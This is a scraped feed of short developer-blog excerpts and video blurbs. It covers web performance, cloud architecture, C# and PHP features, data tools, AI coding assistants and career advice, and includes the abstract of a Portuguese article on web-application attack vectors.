    TL;DR CinemaSins takes a fresh look at The Wiz (now that Wicked is back in theaters) with a rapid-fire “Everything Wrong With The Wiz In 15 Minutes Or Less” video. They highlight the sins of the film, introduce their writers, and point you toward their YouTube channels, social media, and website for more content. They also invite fans to fill out a quick poll, join their Discord and Reddit communities, and support the team on Patreon for exclusive perks. Follow them on Twitter, Instagram, TikTok, and more for daily movie critiques and behind-the-scenes fun. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins serves up their signature snark in a bite-sized roast of the new KPop Demon Hunters movie, rattling off every plot hole, trope and over-the-top moment in just 16 minutes. Dive deeper at cinemasins.com or catch more sin-filled content on YouTube via TVSins, CommercialSins and the CinemaSins Podcast Network. Hungry for more? Hit their Linktree for polls, Patreon support and all the socials—Twitter, Instagram, TikTok, Discord and Reddit. Big shout-out to sin scribes Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the cinematic guilt trip hilarious. Watch on YouTube  ( 6 min )
    How to Achieve 100/100 on PageSpeed Insights
    Reading time: 9 minutes PageSpeed optimization isn't new. Google released Lighthouse in 2016, and performance best practices have been documented for years. You might expect that by 2025, most professional websites would score well. The opposite is true. Modern websites are often slower than sites built five years ago. Despite faster networks and more powerful devices, the average website in 2025 is heavier, more complex, and performs worse than its predecessors. Why? The complexity creep: Modern frameworks ship more JavaScript by default Analytics, marketing pixels, and chat widgets accumulate over time High-resolution images and videos are now standard Third-party integrations (payment processors, CRMs, booking systems) each add overhead "It works on my machine" testing misses real-world…  ( 14 min )
    Building a Simple Ticket Tracker CLI in Go
    A lightweight, command-line alternative to complex ticketing systems. Using golang and cobra-cli, I built a simple command-line interface for managing support tickets. Tickets are stored locally in a CSV file. As developers, we often find ourselves juggling multiple tasks, bugs, and feature requests. While tools like Jira, Trello, or GitHub Issues are powerful, sometimes you just need something simple, fast, and local to track your daily work without leaving the terminal. That's why I built Ticket CLI—a simple command-line tool written in Go to track daily tickets and store them in a CSV file. No servers, no databases, just a binary and a text file. For this project, I choose: Go: For its speed, simplicity, and ability to compile into a single binary. Cobra: The industry standard for bui…  ( 8 min )
    From Prototype to Production: How to Engineer Reliable LLM Systems
    Over the past two years, large language models have moved from research labs to real-world products at an incredible pace. What began as a single API call quickly evolves into a distributed system touching compute, networking, storage, monitoring, and user experience. Teams soon realize that LLM engineering is not prompt engineering — it’s infrastructure engineering with new constraints. Traditional software systems are built around predictable logic and deterministic flows. LLM applications are different in four ways: Even a small prompt can require billions of GPU operations. Latency varies dramatically based on: token length (prompt + output) GPU generation batching efficiency model architecture (transformer vs. MoE) As a result, you must design for latency spikes, not averages. The sam…  ( 9 min )
    🚀 Integrating API Gateway with Private ALB: The New, Simpler, and More Scalable Way
    🧩 The Problem When you work with microservices in AWS (especially in ECS, EKS, or internal applications inside a VPC), sooner or later you need to expose a REST endpoint through Amazon API Gateway, but without making your backend public. For many years, the only “official” way to integrate API Gateway (REST) with a private Application Load Balancer (ALB) was by placing a Network Load Balancer (NLB) in the middle. This created three common issues in real-world projects: More infrastructure than necessary (ALB + NLB just to create a bridge). Higher latency because traffic needed to make an extra hop. More cost and operational overhead: two load balancers to monitor, scale, and secure. For students or small teams, this architecture was confusing and far from intuitive: “Why do I need an NL…  ( 8 min )
    Am I Doing This Right? A Solo Engineer's Open Invitation
    I'm a senior software engineer with almost six years of experience, mostly in Rails and React. For the past several years, I've been the only engineer at my company. I've worked on teams before. I know the value of code review, of someone asking "why not just...?" before you're three layers deep in a bad abstraction. I miss that. So I'm trying to build it for myself, here. This series is called "Am I Doing This Right?" and the premise is simple: I'll walk through something I've built or a decision I've made, explain my reasoning, and invite you to weigh in. Tell me how your team does it. Tell me I'm overcomplicating it. Tell me about the footgun I haven't noticed yet. I'm not looking for validation. I'm looking for the perspective that comes from working with other engineers—something I don't get day-to-day. First up: a GitHub Actions workflow that posts to Slack with recent commits and links to SOPs whenever we deploy. It's a small thing, but it touches CI/CD, team communication, and documentation habits, so there's plenty to pick apart.  ( 6 min )
    New User Defined Increment and decrement in C# 14
    Hi lovely readers, C# 14 just arrived with .NET 10, and it brings a fun little feature that makes custom types feel even more like built in ones. You can now decide what happens when someone writes myValue++ or myValue-- on your type. This was possible before, but only with static methods that returned a new instance. C# 14 adds a new way to do it. You can now write instance operators that update the object directly. It is simple, it is clean, and it can help performance too. In this post, we are going to take a friendly look at this feature and how you can try it out. Keep in mind that you need to have .NET 1- installed in order to test this out. If you have ever created a numeric style type, you probably have used ++ to increment the number by one, or -- to decrement the number by one. N…  ( 8 min )
    How to connect the Next.js MCP server to VS Code Copilot Chat
    The MCP server functionality is built in starting from Next.js 16 and doesn't require any additional configuration in the settings files. The path to the MCP server API is /_next/mcp. Assuming your dev server is running on the port number 5002, do the following: In the .vscode folder in the root of your project, create a mcp.json file. Put the following content inside it: { "servers": { "nextjs-mcp": { "url": "http://localhost:5002/_next/mcp", "type": "http" } }, "inputs": [] } Save the file. Run your project's dev server. Open Copilot Chat. Ask something specific to Next.js, for example: nextjs devtools, are there any build errors? If prompted, allow running the MCP server and executing actions. In our case, the answer was: No Next.js devtools build errors are currently reported. Let me know if you want me to keep monitoring or run a build/test explicitly. Now let's ask what the MCP server could do for us: nextjs devtools, tell me what you are able to do? I’m connected to the Next.js devtools MCP server, so I can pull diagnostics like build/runtime errors, fetch the dev-server logs, list app/pages routes, and inspect server actions. If you need anything along those lines—checking status, seeing routes, digging into errors—just let me know which detail you want. Enjoy, and happy vibe coding!  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Building My Portfolio: From Idea to Launch
    Building My Portfolio: From Idea to Launch After weeks of development, my portfolio is finally live! Here's the journey. As a full-stack developer, I needed a central place to showcase my work... Framework: Next.js 14 (App Router) Styling: Tailwind CSS CMS: Sanity Deployment: Vercel • Multi-platform scheduling (Instagram, Twitter, LinkedIn, etc.) • Interactive recipe builder with step-by-step instructions • Clean, modern design Performance Optimization Used Next.js Image component Lazy loading for projects Lighthouse score: 95+ CMS Integration Sanity for blog posts Dynamic project pages ISR for performance Ship fast, iterate later Performance matters Keep it simple Regular blog posts More case studies Open to freelance work! Check it out: https://azam-six.vercel.app/me  ( 6 min )
    Kicking Off 2026: The Ultimate World Cup Preview Guide
    As Scotland's qualification for the 2026 FIFA World Cup was confirmed by the BBC, football fans worldwide are eagerly awaiting the tournament. With three host cities announced in the United States (Dallas, Houston, Atlanta), Canada (Toronto and Vancouver), and Mexico (Guadalajara, Mexico City, and Monterrey), excitement is building around these cities' preparations for the big event. Each of the 16 host cities will require significant investments to enhance their infrastructure. From state-of-the-art stadiums to expanded transportation networks, every aspect of these cities' facilities will be upgraded or built from scratch. Key Developments in Each Host City Stadiums: Dallas's AT&T Stadium (home of the Cowboys) and Houston's NRG Stadium are among the most modern sports venues globally. …  ( 7 min )
    Connecting Power BI to PostgreSQL (Aiven & Localhost): A Simple Step-by-Step Guide
    Power BI connects smoothly to both cloud-hosted and local PostgreSQL databases once you know where to enter the right details. This guide explains the simplest possible process for connecting Power BI to: PostgreSQL hosted on Aiven, and PostgreSQL running locally on your machine All steps below match screenshot placeholders so you can insert your images exactly where they belong. Connecting Power BI to PostgreSQL on Aiven Step 1: Open Power BI and Start a Blank Report Launch Power BI Desktop. Step 2: Enter Aiven Connection Details In Aiven: Open the Aiven Console Click Services Select your PostgreSQL service View your connection information (host, port, database) Use these values in Power BI: Server: host:port Database: your Aiven PostgreSQL database name Data Connectivity Mode: Import Step 3: Enter Aiven Credentials Power BI now prompts for authentication. Use: Username: Aiven database user Password: the associated password Step 4: Choose Tables in the Navigator Power BI opens the Navigator panel. The data imports and appears in the Power BI report interface. Connecting Power BI to PostgreSQL on Localhost The process is almost identical — only the connection details change. Step 1: Open Power BI → Blank Report → Get Data → PostgreSQL Step 2: Enter Localhost Database Details Fill the fields with your local PostgreSQL configuration: Server: localhost:5432 Database: usually postgres or your custom database name Data Connectivity Mode: Import Step 3: Enter Local Credentials Typical local PostgreSQL credentials: Username: postgres Password: your local password Step 4: Select Tables → Load Choose your tables in the Navigator → click Load → Power BI imports the data. Screenshot here: Navigator showing local PostgreSQL tables. Conclusion Connecting Power BI to PostgreSQL is straightforward once you know which values to enter. Aiven uses a cloud host and port, while your local setup uses localhost. After that, both connections behave exactly the same inside Power BI.  ( 7 min )
    From Raw to Refined: Data Pipeline Architecture at Scale
    Originally published on Medium: https://medium.com/@kalluripradeep99/from-raw-to-refined-data-pipeline-architecture-at-scale-52cd4b02ef10 How I built production data pipelines that process massive volumes daily — and what I learned along the way Every day, modern data platforms handle hundreds of gigabytes of data — transactions, customer activity, event streams, operational reports. All of this needs to flow from messy source systems into clean, reliable tables that teams can use for dashboards, reports, and ML models. Here’s what surprised me after years of building these systems: moving data isn’t the hard part. Making it reliable at scale is. I’ve debugged pipelines that silently corrupted data for weeks. I’ve seen duplicate records inflate ML model accuracy by double digits. I’ve wat…  ( 15 min )
    [Boost]
    The AI Industry Has a Truth Problem: Here’s How I See It Jaideep Parashar ・ Nov 22 #ai #discuss #learning #career  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    React Native Isn't React: Why Web Developers Struggle with Mobile
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    How Packaging Shapes a Binary from Build to Delivery
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    How to Find a Job as a Developer and What to Consider During an Interview
    Finding a job as a developer has become both easier and more challenging at the same time. Easier because companies everywhere now rely on software, which creates constant demand. Challenging because expectations have risen and the hiring process has grown more complex. From preparing your skills to navigating interviews, the journey requires a mix of strategy, confidence, and awareness of what companies actually look for in a modern developer. The first and most important step is to understand your own direction. Development is a broad field, and clarity helps you stand out. You should know whether you want to work in front end, back end, full stack, mobile, DevOps, machine learning, or another niche. This self awareness shapes your portfolio, your learning path, and the type of companie…  ( 8 min )
    Andrew Huang: Making a track with the dial-up modem sound
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    Real Blazor WebAssembly Production Pitfalls
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    How Machines Learned to Write Software in a Human Like Way
    AI coding has moved from a futuristic idea to an everyday tool that quietly reshapes how developers work. What once felt like a fantasy, the idea of a machine understanding code and writing it almost like a human, has become a practical reality in just a few years. The change did not happen overnight. It grew from a long journey of research, experimentation, and the ambition to make programming more accessible and more powerful. The story begins with early attempts to teach computers how to understand patterns in text. At first, these systems could only autocomplete a few words in a predictable way. They had no understanding of logic, structure, or intention. Developers had to shape every response with strict rules. Coding still depended entirely on human decision making, and AI acted mor…  ( 8 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Why Financial Sentiment Analysis Failed Without Explainability (And How I Fixed It)
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    Error común en PLD: Reportes de operaciones inusuales y rele
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    Unlock the Power of Lookalike Modeling in Advertisements
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    How I Fixed the “Large Files Detected” Error When Pushing a Terraform Project to GitHub
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    I’ve run my little bookstore for almost seventeen years now, and the funny thing is, it still surprises me every morning. The bell above the door gives the same soft ring. The windows gather the same dust. The paperbacks on the front table lean the same way they always have. But somehow, the place feels different every day, like the stories inside it breathe along with the people who wander in. For a long time, I thought the books were the most important part of the shop. The old classics. The cozy mysteries with bright covers. The memoirs that make people cry. The hardcovers that smell new and a little like glue. I loved them all. But a few years ago, something changed in the way I looked at my shop. It started with my camera. Nothing fancy. Just a small one I used for taking pictures of …  ( 11 min )
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    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built the SEO & OG Analyzer AI, a comprehensive web tool that helps developers and marketers optimize their websites instantly. Users simply paste a URL, and the app uses Google Gemini to simulate a crawl, analyzing the page's content to generate: Open Graph Previews: A visual simulation of how the link looks on social media (Facebook/LinkedIn). SEO Audit: An analysis of titles, descriptions, headings, and missing tags with AI-suggested improvements. Structured Data: Automatically generated, valid JSON-LD schemas (Organization, Article, etc.). Ready-to-use Code: HTML meta tags and JSON scripts formatted for copy-pasting. I utilized the Gemini API (gemini-2.5-flash) with the Google Search Tool (googleSea…  ( 7 min )
    A Developer’s Guide to Apache Kafka: From Basics to Architecture in One Read
    In today’s world, applications are no longer simple systems with a single database and a few users. Modern platforms like Uber, Netflix, Zomato, Amazon, Instagram, and even banking apps generate millions of events every second—a ride request, a payment update, a login attempt, a notification, a cart update, a video play, and so on. Handling this constant flow of data in real time is no longer a luxury—it’s a necessity. They are: slow tightly coupled difficult to scale easily break under heavy load. To solve these modern data challenges, companies use Apache Kafka, a distributed event streaming platform designed to handle massive volumes of real-time data with high speed, fault tolerance, and scalability. This blog will walk you through Kafka in the simplest possible way—from beginner conce…  ( 10 min )
    Free Online Accessibility Scanner — Audit Any Webpage Instantly
    🚀 New Release: Free Online Accessibility Scanner — Audit Any Webpage Instantly Making the web accessible shouldn’t be hard — so I built a tool that makes it easier. I just launched a Free Online Accessibility Scanner on FrontendTools.tech, powered by the industry-standard axe-core engine. You can use it to audit any public webpage for accessibility issues and get actionable guidance on how to fix them. 🔗 Try it here: https://www.frontendtools.tech/tools/accessibility-scanner This scanner performs a deep accessibility audit and highlights issues related to: WCAG 2.1 & 2.2 compliance (A, AA, AAA) Color contrast ARIA attributes Alt text Form labels Keyboard accessibility Semantic HTML usage And more… Everything runs in the cloud — no installs required. Covers major WCAG guidelines so you can ensure your page meets accessibility standards. Built on axe-core, ensuring reliable detection with minimal false positives. For every issue, the tool provides: Explanation Code snippet fixes Linked WCAG criteria So you learn and improve instantly. Quickly see high-impact violations and prioritize what truly matters. Download your audit in: JSON CSV Perfect for documentation, clients, or team workflows. Accessibility is often overlooked because many developers: Don’t know where to start Don’t have easy tools Aren’t sure how to fix what they find This scanner solves all three. My goal with FrontendTools.tech is to keep releasing tools that make frontend development faster, easier, and more inclusive. 🔗 Test your site: https://www.frontendtools.tech/tools/accessibility-scanner Would love your feedback, suggestions, or ideas for what to build next!  ( 7 min )
    Análise de Vetores de Ataque em Arquitetura de Aplicações Web
    Resumo Este texto tem como proposta uma análise aprofundada sobre a segurança de aplicações web, mas de uma perspectiva ofensiva. Através da arquitetura de três camadas (Apresentação, Aplicação e Dados), comumente conhecido como Three Tier Architecture, detalhando vetores de ataques específicos para cada camada com exemplos de código práticos. Além disso, também fornecer uma investigação de táticas, técnicas e procedimentos (TTPs) de grupos de Ameaça Persistente Avançada (APT), como o APT35, esmiuçando tecnicamente um de seus ataques com exemplos de payloads e comandos. O texto também explora a importância da análise a partir do OWASP Top 10 que lista os dez riscos de segurança mais críticos e comuns em aplicações web. O objetivo é permitir uma visão técnica e estruturada, para aspirant…  ( 18 min )
    3 Realistic Paths Into Data Science (And How To Choose Yours)
    Data Science is crowded, competitive, and full of noise. But it is still one of the few fields where a beginner can break in within a year if they pick the right entry path. The problem is simple: every job wants experience, but you need the job to get the experience. The solution is understanding which type of beginner you are and following the path that matches your background, not the internet’s generic advice. Below are the three groups most newcomers fall into, how to identify your group, and the fastest way to move from beginner to employable. If you already come from mathematics, physics, engineering, economics, or computer science, you have a head start. You understand quantitative thinking, you can learn models faster, and you already know how to deal with complex systems. Your bi…  ( 8 min )
    Post-Holiday Retargeting Playbook: Converting December Browsers into January Buyers
    Here's what happens every January: marketing teams gather around conference tables, stare at their December traffic numbers, and wonder where all those visitors went. The answer? They're still there. They're just broke, overwhelmed, and ignoring your generic "New Year Sale" emails along with everyone else's. I've watched this pattern repeat for years. Brands spend thousands driving holiday traffic, then act surprised when those same visitors don't immediately convert in January. The opportunity isn't gone—it's just shifted. And most marketers are approaching it completely wrong. The data tells a clear story: 68% of holiday browsers don't purchase during their first visit. They're researching, comparing, waiting. Come January, they've got fresh budgets (personal and professional), tax refun…  ( 13 min )
    AI Coding Assistants Battle 2025: GitHub Copilot's Raptor Mini vs Claude Code vs Cursor Composer
    The AI coding assistant landscape just got a lot more interesting. In November 2024, three major players dropped game-changing updates that fundamentally reshape how we code with AI. Let's cut through the hype and see what actually matters. What is it? A lightweight, experimental model fine-tuned from GPT-5-mini, now rolling out to Free, Pro, and Pro+ users in VS Code. The Big Deal: 264k context window (yes, you read that right) 64k output capacity — massive for a "mini" model 4x faster than comparable intelligence models Built specifically for code-heavy interactions, not conversational fluff Best For: Multi-file edits across your entire workspace Low-latency tasks where speed matters Tool calling and MCP integration Quick refactors and fixes Reality Check: fast, not profound. Think of i…  ( 10 min )
    How I Ended Up Building With GitHub Copilot (the Remote One) And Why It Still Feels Kinda Wild
    A few months back, I wasn’t even that into AI. I thought it was just another tech phase that would fade, like fidget spinners or those standing desks everyone bought and now use as laundry racks. But then I started looking for something stupidly specific - a way to work on my side project without sitting at my computer. Like, actually making progress while waiting in a shop line or sitting on the bus thinking about some random UI tweak. I wanted something I could talk to, drop ideas into, and it would just… do it. Quietly. No drama. No "permission to run rm -rf?" nonsense. And then I found GitHub Copilot - the remote version, the one with the web UI that actually opens PRs for you. I swear, I don’t know what GitHub people did here, but this thing is on a different wavelength. And somehow i…  ( 9 min )
    🚀 Learn to Code Like a Genius (and Not Waste Time) — A Practical Guide for Real Beginners
    If you’re learning to code in 2025, you’ve probably felt this: Too many languages Let’s go. 👇 🧠 1. Learn How to Learn (Your Real Superpower) Most beginners think coding is about memorizing syntax. It isn’t. Google well Stop chasing languages. Start building the mindset. 🎯 2. Define Your WHAT and WHY Before choosing a language or tutorial, ask yourself: What do you want to build? This decides your path. Websites → HTML + CSS + JavaScript Most beginners skip this step — and get lost. 🧩 3. Pick Your First Language (Without Overthinking) There’s no “best” language. There’s only the best for your goal. Pick one, stick to it for a few months, and ignore everything else. 📚 4. _ Use High-Quality Resources (and Avoid Tutorial Hell)_ Tutorials are great… until you watch 40 hours and still can’t build a simple project. FreeCodeCamp That’s where real skills form. 🛠 5. Project-Based Learning (Your Cheat Code) You don’t level up by watching tutorials. Start small: Example: Built a calculator? Add scientific functions. This transforms you from “learner” to “creator.” 🤝 6. Share & Collaborate (The Fastest Way to Grow) You learn faster when others see your work. Post your progress on: DEV.to You’ll get feedback, new ideas, and motivation from others building alongside you. You don’t need to be perfect — you just need to show up. 💡 Bonus: Great Project Repositories These two GitHub repos can keep you busy for months: Build Your Own X — recreate famous tools Learn X by Doing Y — Project-based guides for every tech Endless inspiration for projects. 🔥 Final Thoughts Learning to code effectively is simple: Know what you want to build Pick one language There is no perfect path. Have fun building things you actually care about. Everything else will follow.  ( 8 min )
    Modern Web Developer
    Building Modern Web Apps with Next.js and React – A Portfolio Showcase Hi Dev.to community! 👋 I’m Muhammad Shehzad, a Full-Stack Developer passionate about building modern, scalable web applications. Over the years, I’ve worked on various projects using Next.js, React.js, Node.js, and WordPress, focusing on performance, clean architecture, and seamless user experiences. In this post, I want to share some insights from my recent projects and invite you to explore my portfolio: Next.js & React.js: Fast, SEO-friendly web applications Node.js & Express: Robust backend APIs and automation tools WordPress Customization: Plugins and themes built from scratch Chrome Extensions: Custom tools to enhance productivity 💡 Pro Tip: When building web apps, always focus on clarity, scalability, and user experience. It’s what separates good apps from great ones! If you’re interested in seeing my projects or collaborating, feel free to check out my portfolio: Muhammad Shehzad I’d love to hear your thoughts and connect with fellow developers here on Dev.to! #ReactJS #NextJS #FullStack #WebDevelopment #Portfolio #Developer  ( 6 min )
    Why Django + Tailwind + Cursor AI is My Go-To Stack for Building MVPs Fast
    After helping folks build MVPs out of their napkin sketches, I keep coming back to Django + Tailwind + Cursor AI. Here's why this combo works so well for getting products to market quickly. Django gives you everything out of the box. Authentication, admin panel, ORM, form handling, security features - it's all there. While other frameworks make you piece together solutions, Django lets you focus on building your actual product. For early-stage startups burning through runway, this matters. Tailwind keeps the frontend moving fast. No context switching between HTML and CSS files. No fighting with Bootstrap's opinions. You style components right in your templates and move on. The utility-first approach means you're not spending hours naming CSS classes or organizing stylesheets. Cursor AI accelerates everything. Honestly, this has been a game-changer. Need to generate a Django model with all the right field types? Cursor writes it. Building a form with validation? Done in seconds. It understands Django conventions and Tailwind classes, so you're not just getting generic code - you're getting code that fits your stack. What used to take hours now takes minutes. Obvioiusly, you will need to have a half way decent understanding of what its doing - else it might take you for a ride ever so often. The combination just flows. Django templates + Tailwind utilities + AI assistance = unprecedented speed. Need a dashboard? Build it in a day. User authentication flow? Done by lunch. Cursor handles the boilerplate while you focus on business logic. If you're sitting on a product idea or helping someone build theirs, this stack removes so many obstacles. You spend time solving business problems, not framework problems. What's your preferred stack for rapid development? Are you using AI coding tools yet?  ( 7 min )
    Threat Modeling the YouTube Algorithm: A Security Researcher's Guide to Content Strategy
    📌 Missed Part 1? YouTube Monetization, Speed, and Risks (Part 1) This section continues from Part 1, which established YouTube's economic foundation and algorithmic mechanics. Part 2 applies offensive security thinking to content strategy - treating the platform as an adversarial system where creators must navigate between legitimate optimization and exploitable vulnerabilities that carry severe penalties. The central question: Can you "hack" sustainable YouTube growth, or does the attempt to exploit the system guarantee eventual detection and termination? If you treat YouTube like a system to exploit, you need to understand what you're attacking. The platform's recommendation engine isn't a static ruleset - it's an adaptive defense mechanism designed to detect and neutralize manipulation…  ( 17 min )
    AI's Honesty Problem: 7 Things the Industry Won't Tell You
    The gap between what AI companies promise and what actually exists is widening. The AI industry is advancing faster than any technology wave of the last four decades. But speed isn’t the real issue. The real issue is the growing distance between public narratives and ground truth. Today, the loudest voices in AI—major companies, founders, VCs, and influencers—shape expectations that don’t match the systems being built, tested, or deployed. If you’re a developer, founder, or tech professional, this truth gap impacts how you learn, what you build, and how you make decisions. Here is how I see the problem. Every week a new model is introduced as: “AGI-level” “100x faster” “Better than humans” Yet in real-world use, the shine fades quickly. Performance collapses when: datasets don’t align wi…  ( 8 min )
    Symfony Station Communiqué - ✦ Stardate: 21 November 2025 ✦
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! The Programmer’s Fulcrum is the future (and smaller) home for a fusion of Symfony Sta…  ( 10 min )
    🧠 How Large Language Models Are Trained (And How They “Think”) — A Beginner-Friendly Guide
    https://medium.com/@natarajanck2/how-large-language-models-llms-work-training-thinking-and-parameters-explained-simply-caa1a95ef06c  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert is a straight-up funk explosion led by founders Robert “Sput” Searight and Nate Werth (both from Snarky Puppy). The duo-turned-supergroup kicks off with punchy James Brown–meets–Sly & the Family Stone grooves on “JB’s Out” and “Move with a Purpose,” then slips into a spacey, R&B–tinged “Synesthesia” before revving back up for the James Brown tribute “Be Somebody.” They wrap things with the soulful love story “Slim Goodie,” complete with Werth and Searight trading rapid-fire percussion solos and Mackenzie Green’s pleading vocals that’ll have you wishing for your own Slim Goodie. It’s a tight, electrifying set that proves Ghost-Note still knows how to make every face break into that signature funk “stank position.” Watch on YouTube  ( 6 min )
    PHP - instalación y configuración en Ubuntu
    Prerequisitos - instalacion de Homebrew y asdf en ubuntu PHP - Docu PHP - On DevDocs.io (ordenados de menor a mayor curva de aprendizaje) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Instalación en Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Instalación: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verificar: composer --version Dependencias: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + versión: asdf plugin add ph…  ( 7 min )
    From Weeks to 15 Minutes: How We Built a Data Migration System That Changed Everything
    Part 1: The Business Story – Why We Built This The Problem Nobody Talks About Imagine this: It's Monday morning at a utility company. They've just signed up for SMART360—an amazing platform that will transform how they manage customers, meters, and billing. They're excited. Their leadership is excited. Then reality hits. They have 500,000+ customer records sitting in an old system. They need to move it all over. The spreadsheets are messy. Column names don't match. Phone numbers are formatted differently. Some data is missing. Some is duplicated. Their options? Manual mapping: Hire a team to manually match columns, clean data, and load it in batches. Timeline? 4-6 weeks. Cost? Thousands in labor. Custom scripts: Build one-off ETL pipelines. It works, but breaks with the nex…  ( 8 min )
    GitHub Universe 2025 Recap
    GitHub Universe 2025 ended a few weeks ago, but there was a ton of cool announcements and some stuff is still yet to come (I'm waiting for the end of the year 👀). I want to share quickly what I learned from watching the sessions and my opinion on some topics. Here is a quick recap too: Agent HQ - Mission Control GitHub Code Quality Copilot Upgrades Conclusion Agent HQ is a big focus: GitHub becomes mission control for all your coding agents (Anthropic, OpenAI, Google, xAI, and more) with unified task management, granular security controls — all included in your Copilot subscription. Copilot leveled up significantly: Code Quality, custom agents and code review improvements. There were significant upgrades to Copilot and it's definitely a lot better! Copilot metrics dashboard: GitHub launch…  ( 9 min )
    Vasuki iTech Unveils Vasuki Cloud: A Unified, AI-Ready, Developer-First Cloud Platform for the Next Generation of Builders
    Haryana, India — Vasuki iTech, the rapidly emerging innovator in developer-centric software ecosystems, today announced the launch of Vasuki Cloud, a fully integrated, AI-assisted cloud platform engineered to redefine how developers store, manage, and interact with their data. As part of the company’s expanding Vasuki ecosystem, Vasuki Cloud marks a major milestone in its mission to create a seamless, interconnected universe of tools that empower creators and teams across the globe. Designed from the ground up with a focus on performance, security, and intelligent automation, Vasuki Cloud represents a new approach to cloud computing. Instead of offering fragmented modules and complex configuration layers, Vasuki Cloud delivers an intuitive, centralized, and highly extensible system where s…  ( 8 min )
    Untitled
    Check out this Pen I made!  ( 5 min )
    Introducing PrettyPrint — a PHP array pretty-printer with Python-/PyTorch-style formatting
    I'm excited to announce PrettyPrint, a small, zero-dependency PHP utility designed to format numeric arrays in a clean, readable style inspired by Python and the tensor-views you’ll see in PyTorch. Whether you're doing ML experiments, debugging data pipelines, logging arrays, or building educational tools, PrettyPrint makes it easier to inspect array data in a structured way. No extra dependencies - just pure PHP. Supports aligned 2D tables, summarized tensor-style views (for larger arrays), 3D tensor with head/tail blocks, and flexible output options (labels, controlling newline behaviour, etc.). Makes your array dumps more readable and visually helpful. composer require apphp/pretty-print You can use the pprint() helper function for quick prints: Print scalars/strings pprint('Hello', 12…  ( 8 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
